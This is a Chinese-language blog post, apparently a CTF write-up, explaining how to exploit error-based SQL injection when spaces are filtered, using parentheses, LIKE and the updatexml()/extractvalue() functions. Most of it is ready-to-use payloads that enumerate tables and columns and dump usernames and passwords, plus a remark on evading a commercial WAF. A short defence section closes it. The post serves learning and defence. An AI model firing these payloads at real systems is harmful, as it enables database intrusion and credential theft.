当空格被过滤后,我是如何用括号和like绕过限制,拿下这道SQL报错注入题的

发布时间:2026/5/31 13:05:57

当空格被过滤后,我是如何用括号和like绕过限制,拿下这道SQL报错注入题的 当空格被过滤时用括号与LIKE重构SQL报错注入攻击链在CTF竞赛和渗透测试中遇到字符过滤是家常便饭。最近一次实战中我碰到了一个棘手的场景——目标系统过滤了所有空格字符。这种限制看似简单实则对传统SQL注入手法造成毁灭性打击。本文将分享如何用括号()和LIKE操作符重构攻击链最终通过报错注入拿下flag的完整思维过程。1. 突破空格过滤的基础策略当发现空格被过滤时许多新手会陷入思维定式。实际上SQL语法提供了多种替代空格的方案括号替代法在大多数SQL方言中括号()不仅能用于表达式分组还能隐式实现空格分隔效果。例如SELECT(column)FROM(table)WHERE(11)等价于SELECT column FROM table WHERE 11注释符技巧当括号也被过滤时可尝试/**/或--等注释符但本例中注释符已被过滤特殊字符替换某些环境下%20、%0A等URL编码字符可能奏效关键发现测试发现目标系统仅过滤空格而保留括号这成为后续攻击的基础突破口。通过构造1or((1)like(1))#成功登录验证了括号替代的可行性。2. LIKE操作符的妙用在绕过等号过滤时LIKE操作符展现出独特优势操作符等效场景绕过能力精确匹配通常被严格过滤LIKE模糊匹配含通配常被忽略RLIKE正则匹配有时可用实战应用-- 传统方式被过滤 1 OR 11# -- 改造版本 1or((1)like(1))#注意LIKE默认区分大小写若需要不区分可用ILIKEMySQL不支持或COLLATE子句3. 报错注入函数深度解析当联合注入和堆叠注入都被封杀时报错注入成为突破口。以下是两个核心函数对比3.1 updatexml() 函数updatexml(XML_doc, XPath_str, new_value)攻击原理故意构造非法XPath格式触发错误回显典型payload1or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))#字符限制突破-- 使用right()获取后半段数据 1or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1))),1))#3.2 extractvalue() 函数extractvalue(XML_doc, XPath_str)异曲同工1^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(geek))))#异或绕过技巧^运算符可绕过某些关键词过滤4. 完整攻击链构建实战让我们还原完整的攻击流程信息收集阶段-- 获取当前数据库 1or(updatexml(1,concat(0x7e,database(),0x7e),1))# -- 获取数据表使用LIKE替代 1or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#字段枚举阶段-- 获取列名注意表名用括号包裹 1or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))#数据提取阶段-- 常规提取前32字符 1or(updatexml(1,concat(0x7e,(select(group_concat(username,~,password))from(H4rDsq1)),0x7e),1))# -- 分段提取使用right/left组合 1or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#数据拼接技巧将flag{389c9161-c2eb-403a-80与b-403a-8062-80f219ca1c30}手动拼接最终flagflag{389c9161-c2eb-403a-8062-80f219ca1c30}5. 防御方案与思考面对这类攻击防御者可以考虑多层过滤策略同时过滤空格、括号、注释符等特殊字符对LIKE、RLIKE等操作符进行监控错误信息处理// 错误示例泄露信息 mysqli_query($conn, $sql) or die(mysqli_error($conn)); // 正确做法 try { mysqli_query($conn, $sql); } catch(Exception $e) { log_error($e); return 操作失败; }最小权限原则数据库账户仅授予必要权限禁用information_schema的公共访问在真实渗透测试中这种绕过手法的成功率取决于WAF规则的精细程度。我曾遇到一个案例仅通过将LIKE改为REGEXP就成功绕过了某商业WAF的检测。这提醒我们安全防御需要持续迭代而攻击者的创造力永不枯竭。

相关新闻